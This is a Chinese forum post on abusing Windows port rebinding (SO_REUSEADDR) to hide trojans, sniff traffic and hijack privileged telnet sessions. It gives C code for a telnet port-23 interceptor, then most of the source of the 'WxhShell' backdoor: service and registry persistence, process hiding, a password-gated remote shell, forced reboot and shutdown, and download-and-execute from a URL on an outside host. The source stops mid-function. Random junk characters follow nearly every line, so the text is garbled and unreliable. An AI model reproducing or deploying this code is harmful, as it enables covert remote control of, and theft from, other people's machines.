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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $U/|+*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `[)!4Jb  
I$0O4  
  saddr.sin_family = AF_INET; 8-|| Nh  
o=zr]vv  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); " ""k}M2A  
gJ=y7yX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^-^ii 3G`  
FF5|qCV/z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 mb\"qD5  
#ET y#jKL  
  这意味着什么?意味着可以进行如下的攻击: |KMwK png  
aP ToP.e  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 f>CJ1 ;][{  
BjSd\Ul  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) M*gbA5  
@sdHB ./  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ndz'^c  
Q8H+=L:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4'~zuUs  
'.B5CQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Fp&tJ]=B.  
VbI$#;:[7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8a8CY,n{  
yM2}J s C  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^TZ`1:oL#  
A8X3|<n=  
  #include +\R__tx;  
  #include `B$rr4_  
  #include (Q?@LzCjy  
  #include    |Vo{ {)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?E}9TQ  
  int main() FP<mFqy  
  { &cp `? k  
  WORD wVersionRequested; hLICu[LC?  
  DWORD ret; @|PUet_pb  
  WSADATA wsaData; (V x2*Aw]  
  BOOL val; A\w"!tNM|  
  SOCKADDR_IN saddr; z&c|2L-u6  
  SOCKADDR_IN scaddr; ;#?G2AAv  
  int err; .<zN/&MXf  
  SOCKET s; 5AbY 59  
  SOCKET sc; Qv W vS9]  
  int caddsize; >ZwDcuJ~Lz  
  HANDLE mt;  3 GL,=q  
  DWORD tid;   5wa'SexqE  
  wVersionRequested = MAKEWORD( 2, 2 ); Sby(?yg  
  err = WSAStartup( wVersionRequested, &wsaData ); nv <t$r  
  if ( err != 0 ) { #LR.1zZ  
  printf("error!WSAStartup failed!\n"); XI+GWNAmJ  
  return -1; az1#:Go  
  } Itz[%Dbiq9  
  saddr.sin_family = AF_INET; 8#nAs\^  
   &n'@L9v81  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [XhG7Ly  
6rMXv0)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \iRmGvT  
  saddr.sin_port = htons(23); eiQ42x@Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YB1Jv[  
  { f hjlt#  
  printf("error!socket failed!\n"); l* z "wA-  
  return -1; fuU 3?SG  
  } Urz9S3#\  
  val = TRUE; t52KF#+>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 " ?Ux\)*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -asjBSo*D  
  { TbD $lx3>  
  printf("error!setsockopt failed!\n"); =pBr_pGz=  
  return -1; }` YtXD-o  
  } 5\Rg%Ezl  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; '=`af>Nc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JM7FVB  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R"y xpw  
!>#gm7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) PLJDRp 2o  
  { S.Q:O{]  
  ret=GetLastError(); >K<cc#Aa  
  printf("error!bind failed!\n"); B7wzF"  
  return -1; ,A5}HRW%  
  } Z,DSTP\|  
  listen(s,2); 4F"%X &$  
  while(1) ~d3|zlh  
  { PXG@]$~3  
  caddsize = sizeof(scaddr); Y!`  pF  
  //接受连接请求 r~G  amjS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "g*`G<W_s  
  if(sc!=INVALID_SOCKET) 'ka}x~EF  
  { %d%FI"!K  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0 ;].q*|#  
  if(mt==NULL) 8!b>[Nsc  
  { -zUBK  
  printf("Thread Creat Failed!\n"); }qJ`nN8  
  break; 'h@&rr@5  
  } Y4+ ]5;B8  
  } lcM  
  CloseHandle(mt); +k h Tl:  
  } kRr/x-"  
  closesocket(s); RG=i74a  
  WSACleanup(); >@h#'[z,d  
  return 0; T[I7.8g  
  }   K^",LCJA  
  DWORD WINAPI ClientThread(LPVOID lpParam) k[}WYs+r  
  { +s6v!({Z  
  SOCKET ss = (SOCKET)lpParam; Vry*=X &Q  
  SOCKET sc; Q-B/SX)!/  
  unsigned char buf[4096]; *+k yuY J  
  SOCKADDR_IN saddr; * H~=dPC  
  long num; 4s9.")G  
  DWORD val; nly}ly Q/  
  DWORD ret; (Y*9 [hm  
  //如果是隐藏端口应用的话,可以在此处加一些判断 liqVfB%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =4sx(<  
  saddr.sin_family = AF_INET; E`.:V<KW/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); gb4$W@N7V  
  saddr.sin_port = htons(23); F-F1^$]k  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P+y XC^ ,  
  { >oN Wf  
  printf("error!socket failed!\n"); N{}8Zh4op  
  return -1; da~_(giD*  
  } Nobu= Z  
  val = 100; ]0O3kiVQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "bB0$>0,  
  { Y78DYbU.  
  ret = GetLastError(); As5-@l`@  
  return -1; ;<GK{8  
  } #k1IrqUp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Mnk-"d  
  { jo1z#!|Yw}  
  ret = GetLastError(); bPif"dhHe  
  return -1; k'*vG6!  
  } #C'E'g0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;>/yY]F7  
  { H!6+x*P0  
  printf("error!socket connect failed!\n"); 4e?bkC  
  closesocket(sc); S&.xgBR  
  closesocket(ss); K}M lC}oIt  
  return -1; ;" D~F  
  } +]( #!}oH  
  while(1) acar-11_o/  
  { 7<=p*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X Ai0lN{,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 GIT"J}b}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y(/5l   
  num = recv(ss,buf,4096,0); {2QP6XsJ  
  if(num>0) ]NtBP  
  send(sc,buf,num,0); LitdO>%#2  
  else if(num==0) "LH!Trl@k  
  break; azNv(|eeJL  
  num = recv(sc,buf,4096,0); ay| |yn:  
  if(num>0) u.G aMl4 (  
  send(ss,buf,num,0); Um4DVg5  
  else if(num==0) @h_ bXo  
  break; _>aP5g?Ep  
  } SSbx[<E3  
  closesocket(ss); #qUGc`  
  closesocket(sc); uL@%M8n  
  return 0 ; pr1bsrMuL  
  } ,t;US.s([.  
m>F:dI  
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========================================================== fP6.  
FC~%G&K/q^  
下边附上一个代码,,WXhSHELL h@'CmIZc  
RnU7|p{  
========================================================== p@Cas  
'x<oILOG  
#include "stdafx.h" #6~Bg)7AM  
WRA(k  
#include <stdio.h> i~AReJxt7  
#include <string.h> @$t\yBSK  
#include <windows.h> [Y?Y@x"MZ  
#include <winsock2.h> NZ0?0*  
#include <winsvc.h> +]z Rn  
#include <urlmon.h> tl*h"du^  
U* c'xoP  
#pragma comment (lib, "Ws2_32.lib") Owgy<@C  
#pragma comment (lib, "urlmon.lib") Ww\ WuaY  
LXsZk|IhM  
#define MAX_USER   100 // 最大客户端连接数 GD'Z"rhI  
#define BUF_SOCK   200 // sock buffer *9w-eK1{  
#define KEY_BUFF   255 // 输入 buffer <2]D3,.g.  
WRAL/  
#define REBOOT     0   // 重启 \x\N?$`ANc  
#define SHUTDOWN   1   // 关机 =kzp$ i  
hQ!59  
#define DEF_PORT   5000 // 监听端口 >p0,]-.J,r  
Bd)Cijr  
#define REG_LEN     16   // 注册表键长度 'ey62-^r6  
#define SVC_LEN     80   // NT服务名长度 ij~-  
 UBj&T^j  
// 从dll定义API !4FOX>|L@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :vx<m_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /#&jF:h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E/wxX#]\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LH=^3Gw  
(i1x<  
// wxhshell配置信息 r\FZ-gk}Q  
struct WSCFG { _Y/*e<bU  
  int ws_port;         // 监听端口 sWMln:=  
  char ws_passstr[REG_LEN]; // 口令 r>i95u82'  
  int ws_autoins;       // 安装标记, 1=yes 0=no >3ZhPvE-p'  
  char ws_regname[REG_LEN]; // 注册表键名 D/ sYH0.V$  
  char ws_svcname[REG_LEN]; // 服务名 O"df5x9@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~:U`^wtQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 } XhL`%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8O(L;&h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7:Rt) EE2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <1Sj_HCT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0!KYi_3  
nf<I  
}; H?M:<q0|G  
HwZl"!;Mry  
// default Wxhshell configuration u*W! !(P/  
struct WSCFG wscfg={DEF_PORT, sLJ]N0t  
    "xuhuanlingzhe", #"?pY5 ("  
    1, N{&Lo}6F  
    "Wxhshell", 5M~nNm[xJU  
    "Wxhshell", bu<d>XR  
            "WxhShell Service", TXXG0 G  
    "Wrsky Windows CmdShell Service", 6OAEAIh  
    "Please Input Your Password: ", x- ue1  
  1, :) -`  
  "http://www.wrsky.com/wxhshell.exe", U{bv|vF  
  "Wxhshell.exe" -K(d]-yv  
    }; ~m,~;  
,Wu$@jD/ ]  
// 消息定义模块  qsXkm4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TU2oQ1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |r,})o>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5/i/. 0?n  
char *msg_ws_ext="\n\rExit."; 4b;*:C4?  
char *msg_ws_end="\n\rQuit."; i=]R1yP  
char *msg_ws_boot="\n\rReboot..."; s]0 J'UN  
char *msg_ws_poff="\n\rShutdown..."; j[FB*L1!D  
char *msg_ws_down="\n\rSave to "; Q _!tn*  
Uf ]$I`T#  
char *msg_ws_err="\n\rErr!"; V_D wHq2  
char *msg_ws_ok="\n\rOK!"; z~tdLtcX  
S9 $t9o  
char ExeFile[MAX_PATH]; :t9![y[=|  
int nUser = 0; `w`N5 !  
HANDLE handles[MAX_USER]; ZWGX*F#}P  
int OsIsNt; o<Mcc j  
rl~Rbi  
SERVICE_STATUS       serviceStatus; *{j;LA.BR#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T+zhj++  
~6Fh,S1?  
// 函数声明 +HRtuRv0T  
int Install(void); 2|i1}  
int Uninstall(void); 77sG;8HE  
int DownloadFile(char *sURL, SOCKET wsh); ?I? ~BWu  
int Boot(int flag); +J;b3UE#  
void HideProc(void); =T26vu   
int GetOsVer(void); K@%T5M4j  
int Wxhshell(SOCKET wsl); e!L5 v?  
void TalkWithClient(void *cs); <ta{)}IN^  
int CmdShell(SOCKET sock); P]y{3y:XxM  
int StartFromService(void); R@5eHP^  
int StartWxhshell(LPSTR lpCmdLine); hCF_pt+  
$IX(a4'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @NL<v-t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N~IAm:G}[  
E'D16Rhp  
// 数据结构和表定义 E3[9!L8gb  
SERVICE_TABLE_ENTRY DispatchTable[] = R@NFpiw  
{ r(Z?Fs/  
{wscfg.ws_svcname, NTServiceMain}, Bw!J!cCj  
{NULL, NULL} }vOg9/[{  
}; 2Q]W  
!\d~9H%`B  
// 自我安装 zjcSn7iu  
int Install(void) vO~w~u5  
{ k}E_1_S(  
  char svExeFile[MAX_PATH]; >R6mI  
  HKEY key; I3r")}P  
  strcpy(svExeFile,ExeFile); lX2:8$?X  
^z{Xd|{"  
// 如果是win9x系统,修改注册表设为自启动 .o]I^3tf c  
if(!OsIsNt) { Cg~1<J?2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cr ]b #z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 60n P'xfR  
  RegCloseKey(key); J(!=Dno  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5{+2#-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K;rgLj0m  
  RegCloseKey(key); >@cBDS<6R  
  return 0; S#oBO%!  
    } pV (Mh[ }P  
  } V4}jv7>A  
} "s]  
else { R2{]R&wtn0  
pCo3%(  
// 如果是NT以上系统,安装为系统服务 nsXG@CS:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -zJ V(`  
if (schSCManager!=0) lc~c=17  
{ Ja 5od  
  SC_HANDLE schService = CreateService fibudkg'>  
  ( C@]D*k  
  schSCManager, +HWFoK  
  wscfg.ws_svcname, o@dT iQK_  
  wscfg.ws_svcdisp, Akc |E!V  
  SERVICE_ALL_ACCESS, FW;}S9u3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >?ar  
  SERVICE_AUTO_START, Hf1b&8&:K  
  SERVICE_ERROR_NORMAL, m{Uh{G$  
  svExeFile, 09P2<oFLn  
  NULL, <*^|Aj|#  
  NULL, ;r6YIS4@  
  NULL, ]3='TN8aQF  
  NULL, 2-ksr}:  
  NULL Qx|HvT2P  
  ); L;vglS=l;  
  if (schService!=0) :%Iv<d<  
  { [PiMu,O[v  
  CloseServiceHandle(schService); 5izpQ'>  
  CloseServiceHandle(schSCManager); cV@^<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B=^M& {  
  strcat(svExeFile,wscfg.ws_svcname); gpzFY"MS=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $0P16ZlPC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :6)!#q'g  
  RegCloseKey(key); 5Rw2/J L  
  return 0; iR{@~JN=)  
    } *\}$,/m['  
  } >d"\  
  CloseServiceHandle(schSCManager); 2G5|J{4w  
} CKe72OC  
} 3*j1v:x`  
;@gI*i N"  
return 1; -$=RQH$9  
} {E)tzBI;^  
"%dENK  
// 自我卸载 Ez-AQ'  
int Uninstall(void) b%"/8rK  
{ ?z-nY,'^uq  
  HKEY key; WL'!M&h  
1|>vk+;1h  
if(!OsIsNt) { F=*t]X[z}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,\3Cq2h  
  RegDeleteValue(key,wscfg.ws_regname); G)b:UJa"  
  RegCloseKey(key); N.]~%)K:{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %" mki>  
  RegDeleteValue(key,wscfg.ws_regname); Ge?DD,a c  
  RegCloseKey(key); 'x? |tKzd  
  return 0; be_h uZ  
  } e?07o!7[;  
} . 8ikcs  
} Xa ;wx3]t  
else { ']c;$wP  
fy$CtQM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Lp}V 94xT  
if (schSCManager!=0) O tQ]\:p7  
{ ~p{YuW[e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b%@9j;  
  if (schService!=0) 32anmVnf  
  { /4+zT?f  
  if(DeleteService(schService)!=0) { A~k: m0MX  
  CloseServiceHandle(schService); i Pl/I  
  CloseServiceHandle(schSCManager); fMW=ss^fu-  
  return 0; _(io8zqe{j  
  } ' Gx\  
  CloseServiceHandle(schService); :nqDX  
  } g}hNsU=$5~  
  CloseServiceHandle(schSCManager); RhF< {U.  
} (=gqqOOl~  
} o@j!JI&  
17;9>*O'  
return 1; F >n_k  
} C9k"QPE  
F8tMZ,:  
// 从指定url下载文件 :U'n0\  
int DownloadFile(char *sURL, SOCKET wsh) (8o;Cm  
{ asp\4-?$o  
  HRESULT hr; @{3_7  
char seps[]= "/"; g%m-*v*  
char *token; ^:f)XZ  
char *file; =*+f2  
char myURL[MAX_PATH]; D(TfW   
char myFILE[MAX_PATH]; :(3'"^_NA  
7hMh%d0d(_  
strcpy(myURL,sURL); @V Tw>=94  
  token=strtok(myURL,seps); QP!;Gwqr  
  while(token!=NULL) "OkZ [E)  
  { w+!V,lU"^  
    file=token; &lzCRRnvt  
  token=strtok(NULL,seps); @RoU   
  } CJ)u#PmkJ  
f1o^:}5x  
GetCurrentDirectory(MAX_PATH,myFILE); xZV|QVY;  
strcat(myFILE, "\\"); F60m]NUM)c  
strcat(myFILE, file); &js$qgY  
  send(wsh,myFILE,strlen(myFILE),0); AtAu$"ue  
send(wsh,"...",3,0); i \lr KA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0s}gg[lj  
  if(hr==S_OK) !>K=@9NC|.  
return 0; $mf6!p4  
else NP~3!b  
return 1; ~:_10g]r  
9 v ,y  
} +8|Xj!!*}  
UA0( cK  
// 系统电源模块 7s:cg  
int Boot(int flag) '?{L gj^R  
{ NW21{}=4  
  HANDLE hToken; u^VQwu6?G  
  TOKEN_PRIVILEGES tkp; (0?FZ.9%  
S|yDGT1  
  if(OsIsNt) { y=SpIbn{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B&*`A&^y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Yc5) ^v  
    tkp.PrivilegeCount = 1; $\20Vgu<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'Q*lp!2>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {K/xI  
if(flag==REBOOT) { ({C|(v9 C7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O4a~(*f  
  return 0; YsTF10  
} su8()]|0x  
else { ~"R;p}5 "  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Zjc 0R   
  return 0; 0? KvR``Aj  
} $B%3#-  
  } *;T HD>  
  else { '0qKb*  
if(flag==REBOOT) { akgvV~5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {qSYe!`  
  return 0; N{!@M_C^%R  
} bD 1IY1  
else {  /zir$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }~<9*M-P  
  return 0; eE0nW+i  
} g9=O<u#  
} de"+ABR  
>lO]/3j1  
return 1; u H)v\Js  
} -li;w tCS  
5VLC\QgK^  
// win9x进程隐藏模块 6ZGw 3p)  
void HideProc(void) <Lq.J`|+  
{ 3J^'x  
;|Rrtf9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cT'<,#^/  
  if ( hKernel != NULL ) "j}fcrlG9  
  { sbFA{l3   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :&O6Y-/B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); re@OPiXa v  
    FreeLibrary(hKernel); 9NC'iFQ#  
  } S%Z2J)H"  
CX>QP&Gj  
return; ~\7peH%  
} rPJbbV",+^  
FK,YVY  
// 获取操作系统版本 lhFv2.qR  
int GetOsVer(void) w"E.Va  
{ >t $^U  
  OSVERSIONINFO winfo; { %af  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cbX  <  
  GetVersionEx(&winfo); ItQ3|-^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vnv:YQV/ir  
  return 1; QPz3IK%   
  else {F*81q\  
  return 0; 7{u1ynt   
} J|WkPv2  
Ky[-ZQQo=5  
// 客户端句柄模块 :k oXS  
int Wxhshell(SOCKET wsl) zCpXF< _C  
{ Lq5Eu$;r  
  SOCKET wsh; 6vZ.CUK9  
  struct sockaddr_in client; 4jz2x #T  
  DWORD myID; 9$N~OZ;-*x  
f}zv@6#&  
  while(nUser<MAX_USER) uJt*> ;Kp  
{ ADlLodG  
  int nSize=sizeof(client); 2c8e:Xgv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @ u2 P&|:{  
  if(wsh==INVALID_SOCKET) return 1; ?h|w7/9  
X&bnyo P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UP e@>  
if(handles[nUser]==0) f\M;m9{(  
  closesocket(wsh); 7T9Mo .  
else !>QD42  
  nUser++; P }$DCD<$U  
  } J~1 =?</  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .c2Zr|X  
*bTR0U  
  return 0; dW2Lvnh!>/  
} B)(ZRH  
)|i]"8I  
// 关闭 socket :~dI2e\:  
void CloseIt(SOCKET wsh) dfA4OZ&  
{ W{*w<a_ `  
closesocket(wsh); JnZlz?}^  
nUser--; pe7R1{2Q_s  
ExitThread(0); 81 /t)Cp  
} tGh!5EZ6`  
Zjkrne{  
// 客户端请求句柄 jMB&(r  
void TalkWithClient(void *cs) KZt4 dr  
{ *Z=:?4u  
IAa}F!6Q1  
  SOCKET wsh=(SOCKET)cs; P[bj {lo  
  char pwd[SVC_LEN]; *[O)VkL\%i  
  char cmd[KEY_BUFF]; CLX!qw]@ +  
char chr[1]; ;bxL$1  
int i,j; BF(.^oh"n0  
j5qrM_Chg  
  while (nUser < MAX_USER) {  C%\.  
x5)YZ~5  
if(wscfg.ws_passstr) { )M(-EDL>Qk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u'Ua ++a\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /qX=rlQ/n  
  //ZeroMemory(pwd,KEY_BUFF); ;Jq 7E  
      i=0; sT|FgB  
  while(i<SVC_LEN) { bQu1L>c,Uw  
G^=C#9c.m  
  // 设置超时 ;p4|M  
  fd_set FdRead; 2YL)" w  
  struct timeval TimeOut; WT9 k85hqj  
  FD_ZERO(&FdRead); jV!9IK;HA.  
  FD_SET(wsh,&FdRead); f)/5%W7n}  
  TimeOut.tv_sec=8; ag\xwS#i5H  
  TimeOut.tv_usec=0; 5t&;>-A'?'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2wki21oY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zw,=mpf3_  
mU3 @|a/@0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XrD@q  
  pwd=chr[0]; yw9)^JU8"  
  if(chr[0]==0xd || chr[0]==0xa) { XAf,k&f3  
  pwd=0; (lBwkQNQGd  
  break; i[d@qp!H=  
  } /MUa b*h  
  i++; ?$&iVN^UA  
    } +8\1.vY  
%qf ?_2v  
  // 如果是非法用户,关闭 socket .G|9:b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b/eJEL  
} )$_b?  
bF X0UE>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :yTpjC-S]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P5^<c\Mr,Y  
a*gzVE7W#n  
while(1) { OLS.0UEc  
xmI!N0eta  
  ZeroMemory(cmd,KEY_BUFF); p%+uv\Ix  
FV->226o%  
      // 自动支持客户端 telnet标准   i`}nv,  
  j=0; - P$mN6h  
  while(j<KEY_BUFF) { fxKhe[;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +7]]=e<[E  
  cmd[j]=chr[0]; VS{po:]A  
  if(chr[0]==0xa || chr[0]==0xd) { `/0S]?a.{B  
  cmd[j]=0; eJ3w}"?9s  
  break; 1\'zq;I~  
  } <$]=Vaq  
  j++; 4.}{B_)LK  
    } 1D/9lR,  
);zLy?n  
  // 下载文件 [aF^D;o  
  if(strstr(cmd,"http://")) { 2MapB*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  *Fe  
  if(DownloadFile(cmd,wsh)) Ur/+nL{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QmpP_eS >  
  else lS.&>{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S?k G|y  
  } L\u6EMyV  
  else { /d\#|[S  
I#m0n%-[  
    switch(cmd[0]) { uGxh}'&  
  ca},tov&  
  // 帮助 `(rnD  
  case '?': { 9Rg|oCP_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3{wmKo|_X  
    break; pW>?%ft.  
  } d 1 8>0R  
  // 安装 l,pI~A`w_  
  case 'i': { ~x:B@Ow  
    if(Install()) -9Ll'fbq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dP0%<Q|  
    else MY[QYBkn}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tTzPT<  
    break; 5w# Ceg9  
    } nF8|*}w  
  // 卸载 >*hY1@N1  
  case 'r': { $Z!$E,@c  
    if(Uninstall()) $T)EJe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z,"fr%*,N  
    else ZT \=:X*e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |@a.dgz,  
    break; 9F&s9(=\  
    } NZ}DbA+g;|  
  // 显示 wxhshell 所在路径 0pYCh$TL1  
  case 'p': { + ~6Nq(kV  
    char svExeFile[MAX_PATH]; VKjDK$  
    strcpy(svExeFile,"\n\r"); e B$ S d  
      strcat(svExeFile,ExeFile); M+mO4q6  
        send(wsh,svExeFile,strlen(svExeFile),0); zuq7 x7  
    break; 'k?%39  
    } U=<d;2N#  
  // 重启 @.PVUP  
  case 'b': { VOj{&O2c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z uh!{_x;  
    if(Boot(REBOOT)) 23F<f+2S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); phT|w H  
    else { \ nIz5J}3  
    closesocket(wsh); ^,?dk![1Cv  
    ExitThread(0); mkR1iY  
    } w;RG*rv  
    break; ? x*Ve2+]  
    } XpFo SW#K  
  // 关机 A1mxM5N  
